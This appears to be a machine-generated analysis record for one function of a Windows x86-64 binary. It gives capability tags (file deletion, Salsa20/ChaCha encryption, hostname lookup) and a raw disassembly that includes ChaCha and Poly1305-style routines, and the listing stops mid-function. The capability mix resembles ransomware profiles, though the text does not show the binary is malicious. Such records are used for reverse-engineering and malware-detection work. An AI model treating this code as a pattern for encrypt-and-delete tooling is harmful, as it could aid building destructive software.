Function at 0x40181d
Capabilities:
Delete file
Encrypt data using salsa20 or chacha
Get hostname

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe38
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xda0], xmm13
movaps xmmword [rbp + 0xd90], xmm12
movaps xmmword [rbp + 0xd80], xmm11
movaps xmmword [rbp + 0xd70], xmm10
movaps xmmword [rbp + 0xd60], xmm9
movdqa xmmword [rbp + 0xd50], xmm8
movaps xmmword [rbp + 0xd40], xmm7
movaps xmmword [rbp + 0xd30], xmm6
and rsp, 0xffffffffffffffe0
lea rax, [rsp + 0x5b0]
mov qword [rax], 2
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r8d, 0x200
push 2
pop rax
mov qword [rsp + 0x68], rax
xor esi, esi
mov edi, 0xffffffff
xor r13d, r13d
cmp r8, 0x201
jae 0x4018c6
lea r14, [rsp + 0x8e0]
mov ebx, 0x200
mov r15, r8
jmp 0x401909
sub r8, r13
lea rcx, [rsp + 0x5b0]
mov rdx, r8
call fcn.0040ecda
mov r14, qword [rsp + 0x5b0]
mov rsi, qword [rsp + 0x5b8]
cmp rsi, rdi
mov r13d, 0xffffffff
cmovb r13, rsi
mov qword [rsp + 0x5c0], r13
mov qword [rsp + 0x68], r14
mov rbx, r13
mov r15, r13
xor ecx, ecx
call sub.kernel32.dll_SetLastError
mov rax, qword [0x00420028]
mov ecx, r15d
mov rdx, r14
call rax
mov r12d, eax
test eax, eax
jne 0x401933
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x40489b
mov r8d, r12d
cmp r15, r8
jne 0x401965
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x4048ad
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
mov edi, 0xffffffff
cmovae r15, rax
mov r8, r15
jmp 0x4018ab
jb 0x4018ab
cmp rbx, r8
jb 0x4048ad
lea rbx, [rsp + 0x120]
mov rcx, rbx
mov rdx, r14
call fcn.0040e551
mov bl, byte [rbx + 0x18]
mov rcx, qword [rsp + 0x68]
mov rdx, rsi
call fcn.0040ed9a
cmp bl, 2
je 0x4048ad
mov rdi, qword [rsp + 0x120]
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x3a0], rax
mov rbx, qword [rsp + 0x130]
lea rax, [0x00c001c4]
mov rcx, rax
shr rcx, 0x38
mov byte [rsp + 0x127], cl
mov rcx, rax
shr rcx, 0x28
mov word [rsp + 0x125], cx
mov rcx, rax
shr rcx, 8
mov dword [rsp + 0x121], ecx
push 0x20
pop rcx
mov qword [rsp + 0x128], rcx
lea rdx, [0x00c001f0]
mov qword [rsp + 0x130], rdx
mov qword [rsp + 0x138], rcx
lea rcx, [0x00c003d8]
mov qword [rsp + 0x140], rcx
and qword [rsp + 0x148], 0
mov qword [rsp + 0x150], rcx
and qword [rsp + 0x158], 0
movdqa xmm0, xmmword [section..rdata]
movdqu xmmword [rsp + 0x160], xmm0
mov word [rsp + 0x170], 0x113
movabs rcx, 0x100000001000
mov qword [rsp + 0x178], rcx
mov dword [rsp + 0x180], 0x400
mov byte [rsp + 0x120], al
mov byte [rsp + 0x172], 0
mov ecx, 0x400000
call fcn.004051fd
test rax, rax
je 0x4048ad
mov r15, rax
xor esi, esi
lea rcx, [r15 + rsi]
cmp rsi, 0x3ffc00
je 0x401abf
mov r8d, 0x400
xor edx, edx
call sub.ntdll.dll_memset
add rsi, 0x400
jmp 0x401a9c
mov qword [rsp + 0x90], rdi
xor r12d, r12d
mov r8d, 0x400
xor edx, edx
call sub.ntdll.dll_memset
mov qword [rsp + 0xf0], 1
mov eax, 0x1000
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x6c0]
mov dword [rax], 1
mov edx, dword [rsp + 0x160]
mov r8d, dword [rsp + 0x168]
lea rcx, [rsp + 0x720]
mov qword [rsp + 0x70], rdx
mov dword [rcx], edx
lea rdx, [rsp + 0x740]
mov dword [rdx], r8d
movzx r8d, byte [rsp + 0x170]
lea r9, [rsp + 0x6e0]
mov dword [r9], r8d
movzx r8d, byte [rsp + 0x171]
lea r10, [rsp + 0x380]
mov dword [r10], r8d
lea r8, [rsp + 0x8e0]
mov qword [r8], rax
push 4
pop r11
mov qword [r8 + 8], r11
mov qword [r8 + 0x10], rcx
mov ecx, dword [rsp + 0x16c]
mov qword [r8 + 0x18], r11
mov qword [r8 + 0x20], rdx
lea rax, [rsp + 0x760]
mov dword [rsp + 0x60], ecx
mov dword [rax], ecx
mov qword [r8 + 0x28], r11
mov qword [r8 + 0x30], rax
mov qword [r8 + 0x38], r11
mov qword [r8 + 0x40], r9
mov rax, qword [rsp + 0x128]
mov qword [r8 + 0x48], r11
mov qword [r8 + 0x50], r10
lea rcx, [rsp + 0x780]
mov dword [rcx], eax
mov qword [r8 + 0x58], r11
mov qword [r8 + 0x60], rcx
mov rcx, qword [rsp + 0x120]
mov qword [r8 + 0x68], r11
mov qword [r8 + 0x70], rcx
mov rcx, qword [rsp + 0x138]
mov qword [r8 + 0x78], rax
lea rax, [rsp + 0x7c0]
mov dword [rax], ecx
mov qword [r8 + 0x80], rax
mov rax, qword [rsp + 0x130]
mov qword [r8 + 0x88], r11
mov qword [r8 + 0x90], rax
mov rax, qword [rsp + 0x158]
mov qword [r8 + 0x98], rcx
lea rcx, [rsp + 0x800]
mov dword [rcx], eax
mov qword [r8 + 0xa0], rcx
mov rcx, qword [rsp + 0x150]
mov qword [r8 + 0xa8], r11
mov qword [r8 + 0xb0], rcx
mov rcx, qword [rsp + 0x148]
mov qword [r8 + 0xb8], rax
lea rax, [rsp + 0x840]
mov dword [rax], ecx
mov qword [r8 + 0xc0], rax
mov rax, qword [rsp + 0x140]
mov qword [r8 + 0xc8], r11
mov qword [r8 + 0xd0], rax
mov qword [r8 + 0xd8], rcx
pxor xmm0, xmm0
lea rsi, [rsp + 0x5b0]
movdqa xmmword [rsi + 0x30], xmm0
movdqa xmmword [rsi + 0x20], xmm0
movdqa xmmword [rsi + 0x10], xmm0
movdqa xmmword [rsi], xmm0
and qword [rsi + 0x40], 0
push 0x40
pop rdx
push 0xe
pop r9
mov rcx, rsi
call fcn.00405e4e
movdqa xmm0, xmmword [rsi]
movaps xmm1, xmmword [rsi + 0x10]
movaps xmm2, xmmword [rsi + 0x20]
movaps xmm3, xmmword [rsi + 0x30]
lea r14, [rsp + 0x520]
movaps xmmword [r14 + 0x30], xmm3
movaps xmmword [r14 + 0x20], xmm2
movaps xmmword [r14 + 0x10], xmm1
movdqa xmmword [r14], xmm0
push 0x48
pop rsi
cmp r12, 1
je 0x401d39
lea rdi, [r12 + 1]
and dword [rsp + 0x560], 0
mov dword [rsp + 0x564], r12d
mov edx, 0x400
mov rcx, r15
mov r8, r14
mov r9, rsi
call fcn.0040618b
mov dword [rsp + 0x560], 1
lea rcx, [r15 + 0x400]
mov edx, 0x400
mov r8, r14
mov r9, rsi
call fcn.0040618b
add r15, 0x400000
mov r12, rdi
jmp 0x401cdd
mov qword [rsp + 0x68], rbx
mov rsi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xe8]
xor ebx, ebx
lea r12, [rsp + 0x120]
lea r13, [rsp + 0x8e0]
cmp ebx, dword [rsp + 0x60]
je 0x401db2
xor edi, edi
cmp edi, 4
je 0x401dae
xor r14d, r14d
cmp r14d, 1
je 0x401daa
mov dword [rsp + 0x8e0], ebx
mov dword [rsp + 0x8e4], r14d
inc r14d
mov dword [rsp + 0x8e8], edi
and dword [rsp + 0x8ec], 0
mov rcx, r12
mov rdx, r13
mov r8, rsi
mov r9, r15
call fcn.00405218
jmp 0x401d70
inc edi
jmp 0x401d68
inc ebx
jmp 0x401d60
cmp qword [rsp + 0xe8], 0xfff
jbe 0x4048ad
mov edx, 0x3ffc00
add rdx, qword [rsp + 0xe0]
lea rsi, [rsp + 0x8e0]
mov r8d, 0x400
mov rcx, rsi
call sub.ntdll.dll_memcpy
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
mov dl, 1
call fcn.00404f0d
mov rbx, rax
mov r15, rdx
mov r9d, 0x400
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.0040618b
mov r8, qword [rsp + 0xe8]
test r8, r8
je 0x401e31
shl r8, 0xa
mov rcx, qword [rsp + 0xe0]
push 8
pop rdx
call fcn.004017f3
cmp edi, 0x20
mov rdi, qword [rsp + 0x90]
mov r13, qword [rsp + 0x68]
jne 0x401f27
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rsi, [rsp + 0x8e0]
movaps xmmword [rsi - 0x10], xmm1
movaps xmmword [rsi - 0x20], xmm0
mov ecx, 0x7de810
call fcn.0040ec0d
mov rdi, rax
mov qword [rsp + 0x78], rdx
lea rdx, [0x004219b4]
mov r8d, 0x7de810
mov rcx, rax
call sub.ntdll.dll_memcpy
mov qword [rsp + 0x60], rdi
lea r12, [rdi + 0x7de800]
lea rdx, [rsp + 0x5c0]
xorps xmm0, xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea rax, [rsp + 0x8c0]
lea r9, [rsp + 0x840]
mov qword [r9], rax
mov qword [r9 + 8], 0x20
mov qword [r9 + 0x10], rsi
and qword [r9 + 0x18], 0
movdqu xmm0, xmmword [str.expand_32_byte_k]
movdqa xmmword [rdx - 0x10], xmm0
mov qword [r9 + 0x20], 4
lea r8, [rsp + 0x5e0]
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.0040a9f1
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x401f39
cmp rdx, 4
jne 0x4048ad
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x401f0b
push 0x14
pop rax
mov qword [rsp + 0x78], rax
xor r14d, r14d
xor esi, esi
jmp 0x402cfd
lea rax, [0x00c001e4]
lea r9, [rsp + 0xe0]
mov qword [r9], rax
mov qword [r9 + 8], 0xc
lea rax, [0x00c001f0]
mov qword [r9 + 0x10], rax
and qword [r9 + 0x18], 0
mov qword [r9 + 0x20], 4
lea rdx, [rsp + 0x5e4]
lea r8, [rsp + 0x5f0]
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.0040a9f1
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov r9, qword [rsi + 0x40]
cmp r8, r9
jae 0x401fba
cmp rdx, 4
jne 0x4048ad
mov r10d, dword [rcx + r8*4]
mov dword [rax + r8*4], r10d
inc r8
jmp 0x401f9e
mov al, byte [0x00420010]
cmp al, 0xff
jne 0x40201a
lea rsi, [rsp + 0x520]
mov rcx, rsi
call fcn.004092f1
lea r14, [rsp + 0x120]
mov rcx, r14
call fcn.00409313
mov esi, dword [rsi + 8]
mov edi, dword [r14 + 4]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x402004
call fcn.0040b746
not eax
test al, 6
sete al
jmp 0x402006
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x00420010], sil
movaps xmm0, xmmword [rsp + 0x5b0]
movaps xmm1, xmmword [rsp + 0x5c0]
movaps xmm2, xmmword [rsp + 0x5d0]
movaps xmm3, xmmword [rsp + 0x5e0]
lea rsi, [rsp + 0x560]
movaps xmmword [rsi - 0x10], xmm3
movaps xmmword [rsi - 0x20], xmm2
movaps xmmword [rsi - 0x30], xmm1
movaps xmmword [rsi - 0x40], xmm0
mov rcx, rsi
call fcn.0040a9de
mov byte [rsi + 0x40], 0
xorps xmm0, xmm0
lea rdx, [rsp + 0x360]
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea rcx, [rsp + 0x520]
push 0x20
pop r8
call fcn.0040ade9
mov al, byte [0x00420011]
cmp al, 0xff
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x70], r12
je 0x402751
cmp al, 1
jne 0x4027ad
lea rsi, [rsp + 0x120]
lea rdx, [rsp + 0x360]
mov rcx, rsi
call fcn.0040d723
movaps xmm6, xmmword [rsi]
movaps xmm7, xmmword [rsi + 0x10]
movaps xmm0, xmmword [rsi + 0x20]
movaps xmm1, xmmword [rsi + 0x30]
lea rdx, [rsp + 0x840]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
movaps xmm0, xmmword [rsi + 0x40]
movaps xmmword [rdx + 0x20], xmm0
movaps xmm0, xmmword [rsi + 0x50]
movaps xmmword [rdx + 0x30], xmm0
lea rsi, [rsp + 0xe0]
mov rcx, rsi
mov r8, rdx
call fcn.0040b83a
movaps xmm10, xmmword [rsi]
movaps xmm11, xmmword [rsi + 0x10]
movaps xmm8, xmmword [rsi + 0x20]
movaps xmm9, xmmword [rsi + 0x30]
mov eax, 0x3ffffff
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0xd60]
push 0xffffffffffffffff
pop rdx
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, r14
call fcn.0040bdbd
lea rdx, [rsp + 0xce0]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea rsi, [rsp + 0xd40]
mov rcx, rsi
mov r8, r14
call fcn.0040c05d
push 0x1a
pop rbx
mov qword [rsp + 0x20], rbx
lea r14, [rsp + 0xd80]
push 0x40
pop rdx
mov rcx, r14
mov r8, rbx
mov r9, rbx
call fcn.0040bdbd
lea rdx, [rsp + 0xd00]
movaps xmmword [rdx + 0x10], xmm11
movaps xmmword [rdx], xmm10
lea r13, [rsp + 0xd20]
mov rcx, r13
mov r8, r14
call fcn.0040d7a1
lea rdi, [rsp + 0x880]
mov rcx, rdi
mov rdx, r13
call fcn.0040c06e
lea r14, [rsp + 0x120]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.0040be0e
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
lea r12, [rsp + 0x6c0]
movaps xmmword [r12 + 0x10], xmm11
movaps xmmword [r12], xmm10
lea rdi, [rsp + 0x720]
mov rcx, rdi
mov rdx, r12
call fcn.0040d6a2
lea rsi, [rsp + 0x760]
mov rcx, rsi
mov rdx, rdi
call fcn.0040c06e
lea rdx, [rsp + 0x740]
movaps xmmword [rdx + 0x10], xmm9
movaps xmmword [rdx], xmm8
lea rcx, [rsp + 0x120]
mov r8, rsi
call fcn.0040be0e
or qword [rsp + 0x20], 0xffffffffffffffff
lea rsi, [rsp + 0x380]
mov edx, 0x3ffffff
mov rcx, rsi
push 0xffffffffffffffff
pop r8
mov r9, r8
call fcn.0040bdbd
lea r15, [rsp + 0x6e0]
movaps xmmword [r15 + 0x10], xmm11
movaps xmmword [r15], xmm10
lea r14, [rsp + 0x140]
mov rcx, r14
mov rdx, r15
mov r8, rsi
call fcn.0040c05d
movaps xmm8, xmmword [r14 - 0x20]
movaps xmm9, xmmword [r14 - 0x10]
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
mov qword [rsp + 0x20], rbx
lea rsi, [rsp + 0xd40]
mov rcx, rsi
push 0x40
pop rdx
mov r8, rdx
mov r9, rdx
call fcn.0040bdbd
movaps xmmword [r13 + 0x10], xmm9
movaps xmmword [r13], xmm8
lea r14, [rsp + 0x120]
lea rdx, [rsp + 0xd20]
mov rcx, r14
mov r8, rsi
call fcn.0040d7a1
movaps xmm12, xmmword [r14]
movaps xmm13, xmmword [r14 + 0x10]
lea rax, [rsp + 0x880]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
movaps xmmword [r12 + 0x10], xmm13
movaps xmmword [r12], xmm12
lea r12, [rsp + 0x740]
lea rdx, [rsp + 0x880]
lea r8, [rsp + 0x6c0]
mov rcx, r12
call fcn.0040be0e
movaps xmmword [rdi + 0x10], xmm13
movaps xmmword [rdi], xmm12
lea rsi, [rsp + 0x760]
lea rdx, [rsp + 0x720]
mov rcx, rsi
call fcn.0040d7b2
lea r14, [rsp + 0x120]
mov rcx, r14
mov rdx, r12
mov r8, rsi
call fcn.0040be0e
movaps xmm10, xmmword [r14]
movaps xmm11, xmmword [r14 + 0x10]
mov edi, 0x3ffffff
mov qword [rsp + 0x20], rdi
xor esi, esi
lea r13, [rsp + 0x380]
mov rcx, r13
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call fcn.0040bdbd
movaps xmmword [r15 + 0x10], xmm9
movaps xmmword [r15], xmm8
lea r14, [rsp + 0x120]
lea rdx, [rsp + 0x6e0]
mov rcx, r14
mov r8, r13
call fcn.0040c05d
movaps xmm8, xmmword [r14]
movaps xmm9, xmmword [r14 + 0x10]
mov qword [rsp + 0x20], rdi
lea r14, [rsp + 0xd60]
mov r8d, 0x3ffffff
mov r9d, 0x3ffffff
mov rcx, r14
push 0xffffffffffffffff
pop rdi
mov rdx, rdi
call fcn.0040bdbd
lea rax, [rsp + 0xce0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r13, [rsp + 0xd40]
lea rdx, [rsp + 0xce0]
mov rcx, r13
mov r8, r14
call fcn.0040c05d
mov qword [rsp + 0x20], rbx
lea r14, [rsp + 0xd80]
mov rcx, r14
push 0x40
pop rdx
mov r8, rbx
mov r9, rbx
call fcn.0040bdbd
lea rax, [rsp + 0xd00]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r15, [rsp + 0xd20]
lea rdx, [rsp + 0xd00]
mov rcx, r15
mov r8, r14
call fcn.0040d7a1
lea r14, [rsp + 0x880]
mov rcx, r14
mov rdx, r15
call fcn.0040c06e
lea r15, [rsp + 0x120]
mov rcx, r15
mov rdx, r13
mov r8, r14
call fcn.0040be0e
movaps xmm10, xmmword [r15]
movaps xmm11, xmmword [r15 + 0x10]
lea rax, [rsp + 0x6c0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r15, [rsp + 0x720]
lea rdx, [rsp + 0x6c0]
mov rcx, r15
call fcn.0040d6a2
lea r14, [rsp + 0x760]
mov rcx, r14
mov rdx, r15
call fcn.0040c06e
movaps xmmword [r12 + 0x10], xmm9
movaps xmmword [r12], xmm8
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x740]
mov r8, r14
call fcn.0040be0e
or qword [rsp + 0x20], 0xffffffffffffffff
lea r13, [rsp + 0x380]
mov edx, 0x3ffffff
mov rcx, r13
mov r8, rdi
mov r9, rdi
call fcn.0040bdbd
lea rax, [rsp + 0x6e0]
movaps xmmword [rax + 0x10], xmm11
movaps xmmword [rax], xmm10
lea r12, [rsp + 0x140]
lea rdx, [rsp + 0x6e0]
mov rcx, r12
mov r8, r13
call fcn.0040c05d
movdqa xmm8, xmmword [r12 - 0x20]
movaps xmm9, xmmword [r12 - 0x10]
movaps xmm10, xmmword [r12]
movaps xmm11, xmmword [r12 + 0x10]
push 2
pop rdi
mov dword [rsp + 0x38], edi
push 4
pop r12
mov dword [rsp + 0x30], r12d
push 6
pop rbx
mov dword [rsp + 0x28], ebx
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea r13, [rsp + 0x740]
mov rcx, r13
xor edx, edx
mov r8d, ebx
mov r9d, r12d
call fcn.0040b7c9
movaps xmmword [r15 + 0x10], xmm11
movaps xmmword [r15], xmm10
lea rcx, [rsp + 0x380]
lea rdx, [rsp + 0x720]
mov r8, r13
call fcn.0040b809
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], ebx
and dword [rsp + 0x40], 0
and dword [rsp + 0x20], 0
lea r15, [rsp + 0x6e0]
mov rcx, r15
xor edx, edx
mov r8d, ebx
mov r9d, r12d
call fcn.0040b7c9
movaps xmmword [r14 + 0x10], xmm9
movdqa xmmword [r14], xmm8
lea r14, [rsp + 0x120]
lea rdx, [rsp + 0x760]
mov rcx, r14
mov r8, r15
call fcn.0040b809
lea r15, [rsp + 0x6c0]
mov rcx, r15
lea rdx, [rsp + 0x380]
mov r8, r14
call fcn.0040d7c3
lea rcx, [rsp + 0xe0]
mov rdx, r15
call fcn.0040d564
lea rcx, [rsp + 0x380]
call fcn.0040b75d
cmp rsi, 0x40
je 0x402642
movdqu xmm0, xmmword [rsp + 0x380]
movdqu xmmword [rsp + rsi + 0x120], xmm0
add rsi, 0x10
jmp 0x402624
movaps xmm0, xmmword [rsp + 0x840]
movaps xmm1, xmmword [rsp + 0x850]
movaps xmm2, xmmword [rsp + 0x860]
movaps xmm3, xmmword [rsp + 0x870]
movaps xmmword [rsp + 0x800], xmm0
movaps xmmword [rsp + 0x810], xmm1
movaps xmmword [rsp + 0x820], xmm2
movaps xmmword [rsp + 0x830], xmm3
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmm2, xmmword [rsp + 0x100]
movaps xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x7c0], xmm0
movaps xmmword [rsp + 0x7d0], xmm1
movaps xmmword [rsp + 0x7e0], xmm2
movaps xmmword [rsp + 0x7f0], xmm3
lea rdx, [rsp + 0x120]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x7b0], xmm3
movaps xmmword [rsp + 0x7a0], xmm2
movaps xmmword [rsp + 0x790], xmm1
movaps xmmword [rsp + 0x780], xmm0
mov eax, dword [rsp + 0x850]
mov dword [rsp + 0xd0], eax
movups xmm0, xmmword [rsp + 0x840]
movaps xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x5b0]
mov r8d, 0x108
call sub.ntdll.dll_memcpy
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x700], xmm0
mov rax, qword [rsp + 0xef]
mov qword [rsp + 0x70f], rax
xor ebx, ebx
jmp 0x402839
lea rsi, [rsp + 0x5b0]
mov rcx, rsi
call fcn.004092f1
lea r14, [rsp + 0x120]
mov rcx, r14
call fcn.00409313
mov esi, dword [rsi + 8]
mov edi, dword [r14 + 4]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x402791
call fcn.0040b746
not eax
test al, 6
sete al
jmp 0x402793
xor eax, eax
shr dil, 5
and dil, al
shr esi, 0x1c
and sil, dil
mov byte [0x00420011], sil
jne 0x4020ac
xorps xmm0, xmm0
and dword [rsp + 0xd0], 0
movaps xmmword [rsp + 0xc0], xmm0
mov edi, 0x3ffffff
and edi, dword [rsp + 0x360]
mov r15d, dword [rsp + 0x363]
mov r12d, dword [rsp + 0x366]
shr r15d, 2
and r15d, 0x3ffff03
shr r12d, 4
and r12d, 0x3ffc0ff
mov r13d, dword [rsp + 0x369]
shr r13d, 6
and r13d, 0x3f03fff
mov r14d, dword [rsp + 0x36c]
shr r14d, 8
and r14d, 0xfffff
movdqa xmm8, xmmword [rsp + 0x370]
movdqa xmmword [rsp + 0x8b0], xmm8
mov bl, byte [rsp + 0x8b0]
psrldq xmm8, 1
mov eax, dword [rsp + 0xd0]
lea rsi, [rsp + 0x918]
mov dword [rsi - 4], eax
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi - 0x14], xmm0
lea rdx, [rsp + 0x5b0]
mov r8d, 0x108
mov rcx, rsi
call sub.ntdll.dll_memcpy
movaps xmm0, xmmword [rsp + 0x800]
movaps xmm1, xmmword [rsp + 0x810]
movaps xmm2, xmmword [rsp + 0x820]
movaps xmm3, xmmword [rsp + 0x830]
movaps xmmword [rsi + 0x128], xmm0
movaps xmmword [rsi + 0x138], xmm1
movaps xmmword [rsi + 0x148], xmm2
movaps xmmword [rsi + 0x158], xmm3
movaps xmm0, xmmword [rsp + 0x7c0]
movaps xmm1, xmmword [rsp + 0x7d0]
movaps xmm2, xmmword [rsp + 0x7e0]
movaps xmm3, xmmword [rsp + 0x7f0]
movaps xmmword [rsi + 0x168], xmm0
movaps xmmword [rsi + 0x178], xmm1
movaps xmmword [rsi + 0x188], xmm2
movaps xmmword [rsi + 0x198], xmm3
movaps xmm0, xmmword [rsp + 0x780]
movaps xmm1, xmmword [rsp + 0x790]
movaps xmm2, xmmword [rsp + 0x7a0]
movaps xmm3, xmmword [rsp + 0x7b0]
movaps xmmword [rsi + 0x1a8], xmm0
movaps xmmword [rsi + 0x1b8], xmm1
movaps xmmword [rsi + 0x1c8], xmm2
movaps xmmword [rsi + 0x1d8], xmm3
mov rax, qword [rsp + 0x70f]
mov qword [rsi + 0x200], rax
movaps xmm0, xmmword [rsp + 0x700]
movups xmmword [rsi + 0x1f1], xmm0
mov byte [rsi - 0x38], bl
movdqa xmmword [rsp + 0x8a0], xmm8
movq qword [rsi - 0x37], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsi - 0x2f], xmm0
pextrw eax, xmm8, 6
mov word [rsi - 0x2b], ax
mov al, byte [rsp + 0x8ae]
mov byte [rsi - 0x29], al
mov dword [rsi - 0x28], edi
mov dword [rsi - 0x24], r15d
mov dword [rsi - 0x20], r12d
mov dword [rsi - 0x1c], r13d
mov dword [rsi - 0x18], r14d
movaps xmmword [rsi + 0x108], xmm6
movaps xmmword [rsi + 0x118], xmm7
and qword [rsi + 0x1e8], 0
xor edi, edi
mov byte [rsi + 0x1f0], dil
lea rcx, [rsp + 0x360]
push 0x20
pop rdx
call fcn.00417f55
lea rdx, [rsp + 0x520]
mov dword [rdx + 0x30], 1
mov byte [rdx + 0x80], dil
lea r15, [rsp + 0xb20]
mov r8d, 0x84
mov rcx, r15
call sub.ntdll.dll_memcpy
lea rdx, [0x00c003d8]
lea rsi, [rsp + 0x8e0]
mov rcx, rsi
xor r8d, r8d
call fcn.0040ad87
mov r8d, 0x7de800
mov rcx, rsi
mov rdx, qword [rsp + 0x60]
call fcn.0040ad87
lea r14, [rsp + 0x5b0]
mov rcx, r14
call fcn.0040b75d
and qword [r14], 0
mov qword [r14 + 8], 0x7de800
mov rax, qword [r14]
mov rcx, qword [r14 + 8]
lea rdx, [rsp + 0x120]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
push 1
pop r8
mov rcx, rsi
call fcn.0040aa4b
lea rcx, [rsp + 0x120]
mov r8d, 0x240
mov rdx, rsi
call sub.ntdll.dll_memcpy
mov al, byte [0x00420011]
cmp al, 1
jne 0x402a84
lea rcx, [rsp + 0x520]
lea rdx, [rsp + 0x120]
call fcn.0040c07c
jmp 0x402bf3
mov esi, dword [rsp + 0x148]
mov eax, esi
shr eax, 0x1a
mov edx, 0x3ffffff
and esi, edx
add eax, dword [rsp + 0x14c]
mov ecx, eax
shr ecx, 0x1a
and eax, edx
add ecx, dword [rsp + 0x150]
mov r9d, ecx
shr r9d, 0x1a
add r9d, dword [rsp + 0x154]
and ecx, edx
mov r10d, r9d
shr r10d, 0x1a
mov r8d, r9d
and r8d, edx
lea r11d, [r10 + r10*4]
add r11d, dword [rsp + 0x144]
mov r10d, r11d
shr r10d, 0x1a
add r10d, esi
and r11d, edx
lea r14d, [r11 + 5]
mov esi, r14d
shr esi, 0x1a
add esi, r10d
mov ebx, esi
shr ebx, 0x1a
add ebx, eax
mov edi, ebx
shr edi, 0x1a
add edi, ecx
mov r13d, edi
shr r13d, 0x1a
lea r12d, [r8 + r13]
add r12d, 0xfc000000
add r13d, r8d
mov r8d, r12d
sar r8d, 0x1f
shr r12d, 0x1f
dec r12d
and edx, r12d
and r14d, edx
and esi, edx
and ebx, edx
and edx, edi
and r12d, r13d
and r11d, r8d
or r11d, r14d
and r10d, r8d
or r10d, esi
and eax, r8d
or eax, ebx
and ecx, r8d
or ecx, edx
and r8d, r9d
or r8d, r12d
mov ebx, r10d
shl ebx, 0x1a
or ebx, r11d
shr r10d, 6
mov edx, eax
shl edx, 0x14
or edx, r10d
shr eax, 0xc
mov r9d, ecx
shl r9d, 0xe
or r9d, eax
shr ecx, 0x12
shl r8d, 8
or r8d, ecx
add ebx, dword [rsp + 0x120]
mov edi, dword [rsp + 0x124]
mov eax, dword [rsp + 0x128]
adc rdi, rdx
add rax, r9
mov r14, rdi
shr r14, 0x20
add r8d, dword [rsp + 0x12c]
add r14, rax
mov r12, r14
shr r12, 0x20
add r12d, r8d
lea rsi, [rsp + 0x5b0]
mov rcx, rsi
call fcn.0040b75d
mov dword [rsi], ebx
mov dword [rsi + 4], edi
mov dword [rsi + 8], r14d
mov dword [rsi + 0xc], r12d
mov eax, dword [rsi]
mov dword [rsp + 0x520], eax
mov eax, dword [rsi + 4]
mov dword [rsp + 0x524], eax
mov eax, dword [rsi + 8]
mov dword [rsp + 0x528], eax
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x52c], eax
mov r13, qword [rsp + 0x68]
mov r9, qword [rsp + 0x70]
lea r8, [rsp + 0x530]
mov rax, qword [rsp + 0x60]
add rax, 0x7de810
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x120]
lea rdx, [rsp + 0x520]
mov rcx, rsi
call fcn.0040e195
mov rbx, qword [rsi]
mov rdi, qword [rsi + 0x10]
mov rax, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
mov sil, 1
cmp rax, r14
jae 0x402c66
lea r12, [rax + 1]
mov dl, byte [rdi + rax]
xor dl, byte [rbx + rax]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.00417f4a
and sil, al
mov rax, r12
jmp 0x402c3f
mov ecx, esi
call fcn.00417f4a
test al, al
